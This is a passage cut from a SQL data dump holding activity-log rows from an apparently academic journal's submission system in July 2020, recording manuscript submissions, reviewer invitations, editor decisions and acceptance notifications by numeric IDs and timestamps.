article',4482,'Editor',161),(44430,'2020-07-25 07:49:15','Editor has Accepted to review Manuscript',5103,'Editor',161),(44431,'2020-07-25 07:49:21','Editor has Accepted to review Manuscript',5197,'Editor',161),(44432,'2020-07-25 07:49:24','Editor has Accepted to review Manuscript',5249,'Editor',161),(44433,'2020-07-25 07:49:49','Publisher: Accept Notification has been sent to Author',4482,'Publisher',75),(44468,'2020-07-25 08:20:09','Publisher : Notified Editor',3804,'Publisher',84),(44470,'2020-07-25 08:20:27','Publisher : Notified Editor',3798,'Publisher',84),(44472,'2020-07-25 08:21:33','Publisher : Notified Editor',2674,'Publisher',84),(44476,'2020-07-25 08:44:59','Editor has been Editor Decision Accepted article',3804,'Editor',222),(44477,'2020-07-25 08:45:32','Editor has been Editor Decision Accepted article',2674,'Editor',222),(44478,'2020-07-25 08:46:52','Publisher: Accept Notification has been sent to Author',3804,'Publisher',84),(44479,'2020-07-25 08:47:57','Publisher: Accept Notification has been sent to Author',2674,'Publisher',84),(44481,'2020-07-25 09:15:51','Manuscript Submitted by Publisher',5361,'Publisher',48),(44482,'2020-07-25 09:16:00','Publisher has been Assigned Editor',5361,'Publisher',48),(44483,'2020-07-25 09:26:24','Editor has Accepted to review Manuscript',5100,'Editor',1235),(44484,'2020-07-25 09:26:42','Editor has been Editor Decision Accepted article',5100,'Editor',1235),(44485,'2020-07-25 09:27:29','Publisher has been Accepted Articles  article',5100,'Publisher',274),(44487,'2020-07-25 10:55:23','Manuscript Submitted by Author using Submission form',5362,'Author',6548),(44489,'2020-07-25 11:41:43','Editor has been Revise (Notify Author) article',4665,'Editor',161),(44490,'2020-07-25 11:43:16','Publisher has Invited Reviewer',4665,'Publisher',75),(44491,'2020-07-25 11:43:17','Publisher has Invited Reviewer',4665,'Publisher',75),(44492,'2020-07-25 11:43:18','Publisher has Invited Reviewer',4665,'Publisher',75),(44493,'2020-07-25 11:43:19','Publisher has Invited Reviewer',4665,'Publisher',75),(44494,'2020-07-25 11:43:20','Publisher has Invited Reviewer',4665,'Publisher',75),(44495,'2020-07-25 11:43:21','Publisher has Invited Reviewer',4665,'Publisher',75),(44496,'2020-07-25 11:43:22','Publisher has Invited Reviewer',4665,'Publisher',75),(44497,'2020-07-25 11:43:23','Publisher has Invited Reviewer',4665,'Publisher',75),(44498,'2020-07-25 11:43:24','Publisher has Invited Reviewer',4665,'Publisher',75),(44499,'2020-07-25 11:45:36','Publisher has Invited Reviewer',4005,'Publisher',75),(44500,'2020-07-25 11:45:38','Publisher has Invited Reviewer',4005,'Publisher',75),(44501,'2020-07-25 11:45:59','Publisher has Invited Reviewer',4134,'Publisher',75),(44502,'2020-07-25 11:46:00','Publisher has Invited Reviewer',4134,'Publisher',75),(44503,'2020-07-25 11:46:01','Publisher has Invited Reviewer',4134,'Publisher',75),(44504,'2020-07-25 11:46:02','Publisher has Invited Reviewer',4134,'Publisher',75),(44505,'2020-07-25 11:46:29','Publisher has Invited Reviewer',4322,'Publisher',75),(44506,'2020-07-25 11:46:30','Publisher has Invited Reviewer',4322,'Publisher',75),(44507,'2020-07-25 11:46:31','Publisher has Invited Reviewer',4322,'Publisher',75),(44508,'2020-07-25 11:54:45','Reviewer has submitted comments',4187,'Reviewer',13225),(44509,'2020-07-25 11:57:57','Reviewer has submitted comments',4322,'Reviewer',13225),(44510,'2020-07-25 12:02:55','Reviewer has submitted comments',4005,'Reviewer',13225),(44511,'2020-07-25 12:07:58','Reviewer has submitted comments',4134,'Reviewer',13225),(44512,'2020-07-25 12:08:48','Publisher : Notified Editor',4187,'Publisher',75),(44513,'2020-07-25 12:09:12','Publisher : Notified Editor',4322,'Publisher',75),(44514,'2020-07-25 12:09:33','Publisher : Notified Editor',4005,'Publisher',75),(44515,'2020-07-25 12:09:46','Publisher : Notified Editor',4134,'Publisher',75),(44533,'2020-07-25 14:01:49','Editor has been Editor Decision Accepted article',4005,'Editor',160),(44534,'2020-07-25 14:02:33','Editor has been Editor Decision Accepted article',4322,'Editor',160),(44535,'2020-07-25 14:04:06','Editor has been Editor Decision Accepted article',4187,'Editor',160),(44536,'2020-07-25 14:05:36','Editor has been Editor Decision Accepted article',4322,'Editor',160),(44537,'2020-07-25 14:06:07','Editor has Accepted to review Manuscript',5187,'Editor',160),(44544,'2020-07-25 22:29:52','Manuscript Submitted by Author using Submission form',5366,'Author',6551),(44545,'2020-07-26 05:12:36','Publisher has Invited Reviewer',3755,'Publisher',84),(44546,'2020-07-26 05:12:37','Publisher has Invited Reviewer',3755,'Publisher',84),(44547,'2020-07-26 05:12:39','Publisher has Invited Reviewer',3755,'Publisher',84),(44548,'2020-07-26 05:12:40','Publisher has Invited Reviewer',3755,'Publisher',84),(44549,'2020-07-26 05:12:41','Publisher has Invited Reviewer',3755,'Publisher',84),(44550,'2020-07-26 05:12:42','Publisher has Invited Reviewer',3755,'Publisher',84),(44551,'2020-07-26 05:12:43','Publisher has Invited Reviewer',3755,'Publisher',84),(44552,'2020-07-26 05:12:45','Publisher has Invited Reviewer',3755,'Publisher',84),(44553,'2020-07-26 05:12:45','Publisher has Invited Reviewer',3755,'Publisher',84),(44554,'2020-07-26 05:12:47','Publisher has Invited Reviewer',3755,'Publisher',84),(44555,'2020-07-26 05:12:47','Publisher has Invited Reviewer',3755,'Publisher',84),(44556,'2020-07-26 05:12:48','Publisher has Invited Reviewer',3755,'Publisher',84),(44557,'2020-07-26 05:12:49','Publisher has Invited Reviewer',3755,'Publisher',84),(44558,'2020-07-26 05:12:51','Publisher has Invited Reviewer',3755,'Publisher',84),(44559,'2020-07-26 05:12:59','Publisher has Invited Reviewer',3755,'Publisher',84),(44560,'2020-07-26 05:13:00','Publisher has Invited Reviewer',3755,'Publisher',84),(44561,'2020-07-26 05:13:01','Publisher has Invited Reviewer',3755,'Publisher',84),(44562,'2020-07-26 05:13:03','Publisher has Invited Reviewer',3755,'Publisher',84),(44563,'2020-07-26 05:13:04','Publisher has Invited Reviewer',3755,'Publisher',84),(44564,'2020-07-26 05:14:28','Publisher has Invited Reviewer',3755,'Publisher',84),(44565,'2020-07-26 05:14:29','Publisher has Invited Reviewer',3755,'Publisher',84),(44566,'2020-07-26 05:14:30','Publisher has Invited Reviewer',3755,'Publisher',84),(44567,'2020-07-26 05:14:31','Publisher has Invited Reviewer',3755,'Publisher',84),(44568,'2020-07-26 05:14:32','Publisher has Invited Reviewer',3755,'Publisher',84),(44569,'2020-07-26 05:22:49','Editor has been Editor Decision Accepted article',3798,'Editor',222),(44570,'2020-07-26 05:23:46','Publisher: Accept Notification has been sent to Author',3798,'Publisher',84),(44571,'2020-07-26 05:58:45','Manuscript Submitted by Author using Submission form',5367,'Author',6552),(44573,'2020-07-26 07:27:53','Publisher: Accept Notification has been sent to Author',4187,'Publisher',75),(44574,'2020-07-26 07:32:03','Publisher: Accept Notification has been sent to Author',4005,'Publisher',75),(44575,'2020-07-26 07:37:14','Publisher: Accept Notification has been sent to Author',4322,'Publisher',75),(44608,'2020-07-27 05:32:10','Publisher has been Withdrawn  article',4827,'Publisher',984),(44609,'2020-07-27 05:37:22','Publisher has Invited Reviewer',5361,'Publisher',48),(44610,'2020-07-27 05:37:23','Publisher has Invited Reviewer',5361,'Publisher',48),(44666,'2020-07-27 10:23:58','Editor has been Editor Decision Accepted article',4138,'Editor',1067),(44667,'2020-07-27 10:24:36','Publisher: Accept Notification has been sent to Author',4138,'Publisher',319),(44668,'2020-07-27 10:24:49','Publisher has been Accepted Articles  article',4138,'Publisher',319),(44680,'2020-07-27 11:03:52','Publisher has Invited Reviewer',4567,'Publisher',48),(44682,'2020-07-27 11:04:59','Reviewer has submitted comments',4567,'Reviewer',11689),(44700,'2020-07-27 12:02:49','Publisher has been Assigned Editor',5332,'Publisher',319),(44701,'2020-07-27 12:03:23','Publisher has Invited Reviewer',5332,'Publisher',319),(44702,'2020-07-27 12:03:23','Publisher has Invited Reviewer',5332,'Publisher',319),(44703,'2020-07-27 12:03:24','Publisher has Invited Reviewer',5332,'Publisher',319),(44704,'2020-07-27 12:03:24','Publisher has Invited Reviewer',5332,'Publisher',319),(44705,'2020-07-27 12:03:25','Publisher has Invited Reviewer',5332,'Publisher',319),(44706,'2020-07-27 12:03:40','Publisher has Invited Reviewer',5332,'Publisher',319),(44707,'2020-07-27 12:03:41','Publisher has Invited Reviewer',5332,'Publisher',319),(44715,'2020-07-27 12:25:42','Editor has Accepted to review Manuscript',4134,'Editor',162),(44716,'2020-07-27 12:25:57','Editor has been Editor Decision Accepted article',4134,'Editor',162),(44717,'2020-07-27 12:26:05','Editor has Accepted to review Manuscript',4445,'Editor',162),(44718,'2020-07-27 12:26:12','Editor has Accepted to review Manuscript',4629,'Editor',162),(44719,'2020-07-27 12:26:20','Editor has Accepted to review Manuscript',4739,'Editor',162),(44720,'2020-07-27 12:26:26','Editor has Accepted to review Manuscript',4915,'Editor',162),(44721,'2020-07-27 12:26:34','Editor has Accepted to review Manuscript',5232,'Editor',162),(44722,'2020-07-27 12:26:40','Editor has Accepted to review Manuscript',5240,'Editor',162),(44723,'2020-07-27 12:26:45','Editor has Accepted to review Manuscript',5245,'Editor',162),(44724,'2020-07-27 12:27:11','Editor has Invited Reviewer',5240,'Editor',162),(44725,'2020-07-27 12:27:12','Editor has Invited Reviewer',5240,'Editor',162),(44726,'2020-07-27 12:27:13','Editor has Invited Reviewer',5240,'Editor',162),(44727,'2020-07-27 12:27:15','Editor has Invited Reviewer',5240,'Editor',162),(44728,'2020-07-27 12:27:38','Editor has Invited Reviewer',5245,'Editor',162),(44729,'2020-07-27 12:28:34','Editor has Invited Reviewer',5245,'Editor',162),(44730,'2020-07-27 12:28:35','Editor has Invited Reviewer',5245,'Editor',162),(44731,'2020-07-27 12:29:31','Publisher: Accept Notification has been sent to Author',4134,'Publisher',75),(44733,'2020-07-27 12:30:59','Editor has Accepted to review Manuscript',5332,'Editor',1067),(44796,'2020-07-27 17:00:35','Editor has Accepted to review Manuscript',3755,'Editor',221),(44797,'2020-07-27 17:02:31','Editor has Invited Reviewer',3755,'Editor',221),(44798,'2020-07-27 17:03:40','Reviewer has submitted comments',4005,'Reviewer',11876),(44799,'2020-07-27 17:08:45','Publisher has Invited Reviewer',5156,'Publisher',376),(44800,'2020-07-27 17:08:45','Publisher has Invited Reviewer',5156,'Publisher',376),(44801,'2020-07-27 17:08:46','Publisher has Invited Reviewer',5156,'Publisher',376),(44802,'2020-07-27 17:09:11','Publisher has Invited Reviewer',4920,'Publisher',376),(44803,'2020-07-27 17:09:36','Publisher has Invited Reviewer',5222,'Publisher',376),(44816,'2020-07-28 02:05:13','Manuscript Submitted by Author',5420,'Author',5541),(44868,'2020-07-28 04:51:20','Reviewer has submitted comments',5332,'Reviewer',12875),(44870,'2020-07-28 05:00:33','Manuscript Submitted by Author using Submission form',5428,'Author',6623),(44871,'2020-07-28 05:03:20','Manuscript Submitted by Author using Submission form',5429,'Author',6624),(44872,'2020-07-28 05:06:58','Manuscript Submitted by Author using Submission form',5430,'Author',6625),(44873,'2020-07-28 05:09:24','Manuscript Updated',5332,'Publisher',319),(44874,'2020-07-28 05:09:40','Manuscript Submitted by Author using Submission form',5431,'Author',6626),(44876,'2020-07-28 05:10:24','Manuscript Updated',4251,'Publisher',319),(44877,'2020-07-28 05:12:06','Publisher has Invited Reviewer',5314,'Publisher',48),(44878,'2020-07-28 05:12:24','Publisher has Invited Reviewer',5291,'Publisher',48),(44879,'2020-07-28 05:12:55','Publisher has Invited Reviewer',5215,'Publisher',48),(44907,'2020-07-28 06:32:27','Publisher : Notified Editor',5299,'Publisher',85),(44908,'2020-07-28 06:33:17','Publisher has Invited Reviewer',5318,'Publisher',85),(44909,'2020-07-28 06:33:18','Publisher has Invited Reviewer',5318,'Publisher',85),(44910,'2020-07-28 06:33:19','Publisher has Invited Reviewer',5318,'Publisher',85),(44911,'2020-07-28 06:33:20','Publisher has Invited Reviewer',5318,'Publisher',85),(44912,'2020-07-28 06:40:41','Publisher : Notified Author',4969,'Publisher',85),(44914,'2020-07-28 07:14:45','Publisher has been Assigned Editor',5362,'Publisher',48),(44915,'2020-07-28 07:15:04','Publisher has Invited Reviewer',5362,'Publisher',48),(44916,'2020-07-28 07:15:05','Publisher has Invited Reviewer',5362,'Publisher',48),(44920,'2020-07-28 08:06:55','Publisher has Invited Reviewer',4531,'Publisher',248),(44921,'2020-07-28 08:06:57','Publisher has Invited Reviewer',4531,'Publisher',248),(44922,'2020-07-28 08:15:11','Reviewer has submitted comments',4215,'Reviewer',9107),(44923,'2020-07-28 08:15:57','Reviewer has submitted comments',4215,'Reviewer',9107),(44924,'2020-07-28 08:17:59','Editor has Accepted to review Manuscript',4215,'Editor',357),(44925,'2020-07-28 08:18:14','Editor has been Editor Decision Accepted article',4215,'Editor',357),(44926,'2020-07-28 08:18:42','Publisher: Accept Notification has been sent to Author',4215,'Publisher',248),(44927,'2020-07-28 08:18:50','Publisher has been Accepted Articles  article',4215,'Publisher',248),(44930,'2020-07-28 08:24:21','Reviewer has submitted comments',4280,'Reviewer',5404),(44931,'2020-07-28 08:24:39','Publisher : Notified Editor',4280,'Publisher',248),(44932,'2020-07-28 08:25:08','Editor has Accepted to review Manuscript',4280,'Editor',358),(44933,'2020-07-28 08:25:21','Editor has been Editor Decision Accepted article',4280,'Editor',358),(44934,'2020-07-28 08:25:41','Publisher has been Accepted Articles  article',4280,'Publisher',248),(44935,'2020-07-28 08:28:02','Reviewer has submitted comments',4531,'Reviewer',9109),(44936,'2020-07-28 08:28:21','Publisher : Notified Editor',4531,'Publisher',248),(44937,'2020-07-28 08:29:04','Editor has Accepted to review Manuscript',4531,'Editor',358),(44938,'2020-07-28 08:29:18','Editor has been Editor Decision Accepted article',4531,'Editor',358),(44939,'2020-07-28 08:29:39','Publisher has been Accepted Articles  article',4531,'Publisher',248),(44953,'2020-07-28 10:19:33','Reviewer has updated comments',5314,'Reviewer',13913),(44956,'2020-07-28 10:37:45','Reviewer has submitted comments',5291,'Reviewer',13913),(44957,'2020-07-28 10:37:57','Reviewer has submitted comments',5291,'Reviewer',13913),(44958,'2020-07-28 10:40:20','Publisher has been Withdrawn  article',4445,'Publisher',75),(44959,'2020-07-28 10:44:37','Reviewer has submitted comments',5215,'Reviewer',13913),(44960,'2020-07-28 10:52:17','Reviewer has submitted comments',5362,'Reviewer',13913),(44967,'2020-07-28 11:11:50','Publisher has been Assigned Editor',5429,'Publisher',48),(44984,'2020-07-28 11:45:07','Manuscript Submitted by Author using Submission form',5464,'Author',6666),(44989,'2020-07-28 12:21:27','Publisher has been Assigned Editor',5176,'Publisher',972),(44990,'2020-07-28 12:22:15','Editor has Accepted to review Manuscript',5176,'Editor',1315),(44991,'2020-07-28 12:22:25','Editor has been Editor Decision Accepted article',5176,'Editor',1315),(44994,'2020-07-28 12:24:12','Publisher has been Accepted Articles  article',5176,'Publisher',972),(44999,'2020-07-28 12:28:10','Publisher has been Assigned Editor',5469,'Publisher',972),(45000,'2020-07-28 12:28:29','Editor has Accepted to review Manuscript',5469,'Editor',1315),(45002,'2020-07-28 12:28:40','Editor has been Editor Decision Accepted article',5469,'Editor',1315),(45003,'2020-07-28 12:29:03','Publisher has been Accepted Articles  article',5469,'Publisher',972),(45009,'2020-07-28 12:43:19','Editor has Invited Reviewer',5176,'Editor',1315),(45010,'2020-07-28 12:43:39','Editor has Invited Reviewer',5176,'Editor',1315),(45011,'2020-07-28 12:43:39','Editor has Invited Reviewer',5176,'Editor',1315),(45012,'2020-07-28 12:44:59','Editor has Invited Reviewer',5469,'Editor',1315),(45013,'2020-07-28 12:45:11','Editor has Invited Reviewer',5469,'Editor',1315),(45014,'2020-07-28 12:45:12','Editor has Invited Reviewer',5469,'Editor',1315),(45016,'2020-07-28 12:49:59','Publisher has Invited Reviewer',4920,'Publisher',376),(45017,'2020-07-28 12:50:17','Publisher has Invited Reviewer',5156,'Publisher',376),(45018,'2020-07-28 12:50:18','Publisher has Invited Reviewer',5156,'Publisher',376),(45019,'2020-07-28 12:50:42','Publisher has Invited Reviewer',5222,'Publisher',376),(45020,'2020-07-28 12:50:42','Publisher has Invited Reviewer',5222,'Publisher',376),(45021,'2020-07-28 12:50:43','Publisher has Invited Reviewer',5222,'Publisher',376),(45041,'2020-07-28 14:12:44','Author sent Email',4483,'Author',5690),(45044,'2020-07-28 15:16:35','Publisher has been Accepted Articles  article',4005,'Publisher',75),(45045,'2020-07-28 15:16:51','Publisher has been Accepted Articles  article',4134,'Publisher',75),(45046,'2020-07-28 15:16:55','Publisher has been Accepted Articles  article',4134,'Publisher',75),(45047,'2020-07-28 15:18:15','Publisher has been Accepted Articles  article',4187,'Publisher',75),(45048,'2020-07-28 15:18:18','Publisher has been Accepted Articles  article',4187,'Publisher',75),(45049,'2020-07-28 15:18:35','Publisher has been Accepted Articles  article',4241,'Publisher',75),(45050,'2020-07-28 15:19:17','Publisher has been Accepted Articles  article',4482,'Publisher',75),(45051,'2020-07-28 15:19:21','Publisher has been Accepted Articles  article',4482,'Publisher',75),(45052,'2020-07-28 15:19:40','Publisher has been Accepted Articles  article',4322,'Publisher',75),(45053,'2020-07-28 16:09:10','Manuscript Submitted by Author using Submission form',5481,'Author',6682),(45056,'2020-07-29 02:09:58','Reviewer has submitted comments',4920,'Reviewer',7021),(45079,'2020-07-29 06:00:31','Publisher has been Withdrawn  article',5469,'Publisher',972),(45080,'2020-07-29 06:00:40','Publisher has been Withdrawn  article',5176,'Publisher',972),(45088,'2020-07-29 07:50:53','Publisher has been Assigned Editor',5431,'Publisher',48),(45092,'2020-07-29 08:31:44','Manuscript Submitted by Author using Submission form',5490,'Author',6692),(45115,'2020-07-29 09:55:25','Publisher has been Assigned Editor',5367,'Publisher',673),(45118,'2020-07-29 10:22:00','Publisher has Invited Reviewer',5431,'Publisher',48),(45119,'2020-07-29 10:22:01','Publisher has Invited Reviewer',5431,'Publisher',48),(45120,'2020-07-29 10:22:17','Publisher has Invited Reviewer',5429,'Publisher',48),(45121,'2020-07-29 10:22:18','Publisher has Invited Reviewer',5429,'Publisher',48),(45132,'2020-07-29 10:48:14','Manuscript Submitted by Author using Submission form',5503,'Author',6705),(45165,'2020-07-29 18:14:36','Reviewer has been sent email to Publisher',3755,'Reviewer',11443),(45169,'2020-07-30 02:25:59','Publisher has been Assigned Editor',5366,'Publisher',75),(45171,'2020-07-30 02:40:46','Editor has Accepted to review Manuscript',5366,'Editor',160),(45172,'2020-07-30 02:41:43','Editor has Invited Reviewer',5366,'Editor',160),(45173,'2020-07-30 02:41:44','Editor has Invited Reviewer',5366,'Editor',160),(45174,'2020-07-30 02:41:45','Editor has Invited Reviewer',5366,'Editor',160),(45175,'2020-07-30 02:41:46','Editor has Invited Reviewer',5366,'Editor',160),(45176,'2020-07-30 02:41:47','Editor has Invited Reviewer',5366,'Editor',160),(45178,'2020-07-30 04:46:12','Reviewer has submitted comments',5245,'Reviewer',669),(45179,'2020-07-30 05:25:06','Publisher has been Assigned Editor',5428,'Publisher',48),(45180,'2020-07-30 05:25:32','Publisher has been Assigned Editor',5430,'Publisher',48),(45181,'2020-07-30 05:26:41','Publisher has Invited Reviewer',5428,'Publisher',48),(45182,'2020-07-30 05:26:43','Publisher has Invited Reviewer',5428,'Publisher',48),(45183,'2020-07-30 05:27:01','Publisher has Invited Reviewer',5430,'Publisher',48),(45184,'2020-07-30 05:27:02','Publisher has Invited Reviewer',5430,'Publisher',48),(45216,'2020-07-30 09:50:23','Reviewer has updated comments',4776,'Reviewer',9157),(45226,'2020-07-30 10:23:13','Publisher has Invited Reviewer',5156,'Publisher',376),(45227,'2020-07-30 10:23:14','Publisher has Invited Reviewer',5156,'Publisher',376),(45228,'2020-07-30 10:23:36','Publisher has Invited Reviewer',5222,'Publisher',376),(45229,'2020-07-30 10:23:37','Publisher has Invited Reviewer',5222,'Publisher',376),(45236,'2020-07-30 11:25:53','Manuscript Submitted by Author using Submission form',5549,'Author',6755),(45246,'2020-07-30 12:04:47','Publisher has been Assigned Editor',5420,'Publisher',75),(45248,'2020-07-30 12:17:55','Editor has Accepted to review Manuscript',5299,'Editor',204),(45249,'2020-07-30 12:18:22','Editor has been Editor Decision Accepted article',5299,'Editor',204),(45250,'2020-07-30 12:19:59','Publisher has Invited Reviewer',5318,'Publisher',85),(45251,'2020-07-30 12:20:00','Publisher has Invited Reviewer',5318,'Publisher',85),(45252,'2020-07-30 12:20:01','Publisher has Invited Reviewer',5318,'Publisher',85),(45253,'2020-07-30 12:20:02','Publisher has Invited Reviewer',5318,'Publisher',85),(45254,'2020-07-30 12:20:03','Publisher has Invited Reviewer',5318,'Publisher',85),(45255,'2020-07-30 12:21:48','Publisher has been Assigned Editor',5464,'Publisher',85),(45260,'2020-07-30 12:31:37','Publisher has Invited Reviewer',5431,'Publisher',48),(45261,'2020-07-30 12:31:38','Publisher has Invited Reviewer',5431,'Publisher',48),(45262,'2020-07-30 12:31:39','Publisher has Invited Reviewer',5431,'Publisher',48),(45263,'2020-07-30 12:31:40','Publisher has Invited Reviewer',5431,'Publisher',48),(45264,'2020-07-30 12:32:16','Publisher has Invited Reviewer',5361,'Publisher',48),(45265,'2020-07-30 12:32:17','Publisher has Invited Reviewer',5361,'Publisher',48),(45266,'2020-07-30 12:32:18','Publisher has Invited Reviewer',5361,'Publisher',48),(45267,'2020-07-30 12:32:20','Publisher has Invited Reviewer',5361,'Publisher',48),(45268,'2020-07-30 12:32:21','Publisher has Invited Reviewer',5361,'Publisher',48),(45269,'2020-07-30 12:32:49','Publisher has Invited Reviewer',5314,'Publisher',48),(45270,'2020-07-30 12:32:50','Publisher has Invited Reviewer',5314,'Publisher',48),(45271,'2020-07-30 12:32:52','Publisher has Invited Reviewer',5314,'Publisher',48),(45272,'2020-07-30 12:32:53','Publisher has Invited Reviewer',5314,'Publisher',48),(45273,'2020-07-30 12:32:54','Publisher has Invited Reviewer',5314,'Publisher',48),(45274,'2020-07-30 12:33:22','Publisher has Invited Reviewer',5202,'Publisher',48),(45275,'2020-07-30 12:33:23','Publisher has Invited Reviewer',5202,'Publisher',48),(45276,'2020-07-30 12:33:24','Publisher has Invited Reviewer',5202,'Publisher',48),(45277,'2020-07-30 12:33:25','Publisher has Invited Reviewer',5202,'Publisher',48),(45278,'2020-07-30 12:37:54','Publisher has Invited Reviewer',5464,'Publisher',85),(45279,'2020-07-30 12:37:55','Publisher has Invited Reviewer',5464,'Publisher',85),(45280,'2020-07-30 12:37:56','Publisher has Invited Reviewer',5464,'Publisher',85),(45281,'2020-07-30 12:37:58','Publisher has Invited Reviewer',5464,'Publisher',85),(45282,'2020-07-30 12:37:59','Publisher has Invited Reviewer',5464,'Publisher',85),(45283,'2020-07-30 12:38:00','Publisher has Invited Reviewer',5464,'Publisher',85),(45284,'2020-07-30 12:38:01','Publisher has Invited Reviewer',5464,'Publisher',85),(45285,'2020-07-30 12:38:02','Publisher has Invited Reviewer',5464,'Publisher',85),(45287,'2020-07-30 12:49:27','Publisher has Invited Reviewer',5249,'Publisher',75),(45288,'2020-07-30 12:49:28','Publisher has Invited Reviewer',5249,'Publisher',75),(45289,'2020-07-30 12:49:29','Publisher has Invited Reviewer',5249,'Publisher',75),(45290,'2020-07-30 12:50:02','Publisher has Invited Reviewer',4496,'Publisher',75),(45291,'2020-07-30 12:50:03','Publisher has Invited Reviewer',4496,'Publisher',75),(45292,'2020-07-30 12:50:04','Publisher has Invited Reviewer',4496,'Publisher',75),(45293,'2020-07-30 12:50:05','Publisher has Invited Reviewer',4496,'Publisher',75),(45294,'2020-07-30 12:50:06','Publisher has Invited Reviewer',4496,'Publisher',75),(45295,'2020-07-30 12:50:06','Publisher has Invited Reviewer',4496,'Publisher',75),(45296,'2020-07-30 12:50:33','Publisher has Invited Reviewer',4629,'Publisher',75),(45297,'2020-07-30 12:50:34','Publisher has Invited Reviewer',4629,'Publisher',75),(45298,'2020-07-30 12:50:35','Publisher has Invited Reviewer',4629,'Publisher',75),(45299,'2020-07-30 12:50:35','Publisher has Invited Reviewer',4629,'Publisher',75),(45300,'2020-07-30 12:51:05','Publisher has Invited Reviewer',4665,'Publisher',75),(45301,'2020-07-30 12:51:05','Publisher has Invited Reviewer',4665,'Publisher',75),(45302,'2020-07-30 12:51:06','Publisher has Invited Reviewer',4665,'Publisher',75),(45303,'2020-07-30 12:51:07','Publisher has Invited Reviewer',4665,'Publisher',75),(45304,'2020-07-30 12:51:08','Publisher has Invited Reviewer',4665,'Publisher',75),(45305,'2020-07-30 12:51:09','Publisher has Invited Reviewer',4665,'Publisher',75),(45306,'2020-07-30 12:51:46','Publisher has Invited Reviewer',4676,'Publisher',75),(45307,'2020-07-30 12:51:46','Publisher has Invited Reviewer',4676,'Publisher',75),(45308,'2020-07-30 12:51:47','Publisher has Invited Reviewer',4676,'Publisher',75),(45309,'2020-07-30 12:51:48','Publisher has Invited Reviewer',4676,'Publisher',75),(45310,'2020-07-30 12:51:49','Publisher has Invited Reviewer',4676,'Publisher',75),(45311,'2020-07-30 12:51:50','Publisher has Invited Reviewer',4676,'Publisher',75),(45312,'2020-07-30 12:51:51','Publisher has Invited Reviewer',4676,'Publisher',75),(45313,'2020-07-30 12:51:52','Publisher has Invited Reviewer',4676,'Publisher',75),(45314,'2020-07-30 12:51:53','Publisher has Invited Reviewer',4676,'Publisher',75),(45315,'2020-07-30 12:51:54','Publisher has Invited Reviewer',4676,'Publisher',75),(45316,'2020-07-30 12:51:55','Publisher has Invited Reviewer',4676,'Publisher',75),(45317,'2020-07-30 12:51:56','Publisher has Invited Reviewer',4676,'Publisher',75),(45328,'2020-07-30 13:33:45','Reviewer has updated comments',5362,'Reviewer',13913),(45330,'2020-07-30 13:46:27','Author sent Email',4253,'Author',5470),(45338,'2020-07-30 14:00:36','Reviewer has submitted comments',5430,'Reviewer',13913),(45339,'2020-07-30 14:09:58','Reviewer has submitted comments',5428,'Reviewer',13913),(45340,'2020-07-30 14:14:48','Reviewer has submitted comments',5429,'Reviewer',13913),(45345,'2020-07-30 15:04:26','Reviewer has submitted comments',5431,'Reviewer',13913),(45347,'2020-07-30 15:49:56','Editor has been Editor Decision Accepted article',5112,'Editor',1393),(45349,'2020-07-30 19:04:01','Reviewer has submitted comments',4502,'Reviewer',7022),(45350,'2020-07-30 19:11:43','Reviewer has submitted comments',5222,'Reviewer',7022),(45391,'2020-07-31 07:47:20','Publisher has been Assigned Editor',5490,'Publisher',48),(45392,'2020-07-31 07:50:33','Publisher has been Assigned Editor',5503,'Publisher',48),(45395,'2020-07-31 08:19:32','Publisher has Invited Reviewer',5503,'Publisher',48),(45396,'2020-07-31 08:19:33','Publisher has Invited Reviewer',5503,'Publisher',48),(45397,'2020-07-31 08:19:34','Publisher has Invited Reviewer',5503,'Publisher',48),(45398,'2020-07-31 08:19:51','Publisher has Invited Reviewer',5490,'Publisher',48),(45399,'2020-07-31 08:19:52','Publisher has Invited Reviewer',5490,'Publisher',48),(45409,'2020-07-31 08:21:41','Publisher has Invited Reviewer',5361,'Publisher',48),(45410,'2020-07-31 08:22:06','Publisher has Invited Reviewer',5202,'Publisher',48),(45411,'2020-07-31 08:22:07','Publisher has Invited Reviewer',5202,'Publisher',48),(45412,'2020-07-31 08:30:30','Manuscript Submitted by Author using Submission form',5569,'Author',6779),(45472,'2020-07-31 11:34:20','Manuscript Submitted by Author using Submission form',5589,'Author',6802),(45479,'2020-07-31 12:38:43','Editor has been Editor Decision Accepted article',4251,'Editor',1067),(45480,'2020-07-31 12:39:18','Publisher: Accept Notification has been sent to Author',4251,'Publisher',319),(45481,'2020-07-31 12:39:30','Publisher has been Accepted Articles  article',4251,'Publisher',319),(45482,'2020-07-31 12:46:10','Editor has been Editor Decision Accepted article',4637,'Editor',1067),(45484,'2020-07-31 12:46:27','Editor has been Editor Decision Accepted article',4885,'Editor',1067),(45485,'2020-07-31 12:47:01','Publisher: Accept Notification has been sent to Author',4637,'Publisher',319),(45488,'2020-07-31 12:47:46','Publisher: Accept Notification has been sent to Author',4885,'Publisher',319),(45489,'2020-07-31 12:47:57','Publisher has been Accepted Articles  article',4637,'Publisher',319),(45490,'2020-07-31 12:48:04','Publisher has been Accepted Articles  article',4885,'Publisher',319),(45495,'2020-07-31 13:24:53','Publisher: Accept Notification has been sent to Author',5299,'Publisher',85),(45496,'2020-07-31 13:25:29','Publisher has Invited Reviewer',5464,'Publisher',85),(45497,'2020-07-31 13:25:30','Publisher has Invited Reviewer',5464,'Publisher',85),(45498,'2020-07-31 13:25:31','Publisher has Invited Reviewer',5464,'Publisher',85),(45499,'2020-07-31 13:25:32','Publisher has Invited Reviewer',5464,'Publisher',85),(45500,'2020-07-31 13:27:35','Publisher has been Assigned Editor',5481,'Publisher',85),(45501,'2020-07-31 13:28:07','Publisher has Invited Reviewer',5481,'Publisher',85),(45502,'2020-07-31 13:28:08','Publisher has Invited Reviewer',5481,'Publisher',85),(45503,'2020-07-31 13:28:09','Publisher has Invited Reviewer',5481,'Publisher',85),(45504,'2020-07-31 13:28:10','Publisher has Invited Reviewer',5481,'Publisher',85),(45505,'2020-07-31 13:28:11','Publisher has Invited Reviewer',5481,'Publisher',85),(45506,'2020-07-31 13:28:12','Publisher has Invited Reviewer',5481,'Publisher',85),(45507,'2020-07-31 13:28:14','Publisher has Invited Reviewer',5481,'Publisher',85),(45508,'2020-07-31 13:28:15','Publisher has Invited Reviewer',5481,'Publisher',85),(45509,'2020-07-31 13:28:16','Publisher has Invited Reviewer',5481,'Publisher',85),(45510,'2020-07-31 13:28:16','Publisher has Invited Reviewer',5481,'Publisher',85),(45561,'2020-08-01 04:08:35','Manuscript Submitted by Author using Submission form',5597,'Author',6810),(45569,'2020-08-01 05:25:33','Manuscript Submitted by Author using Submission 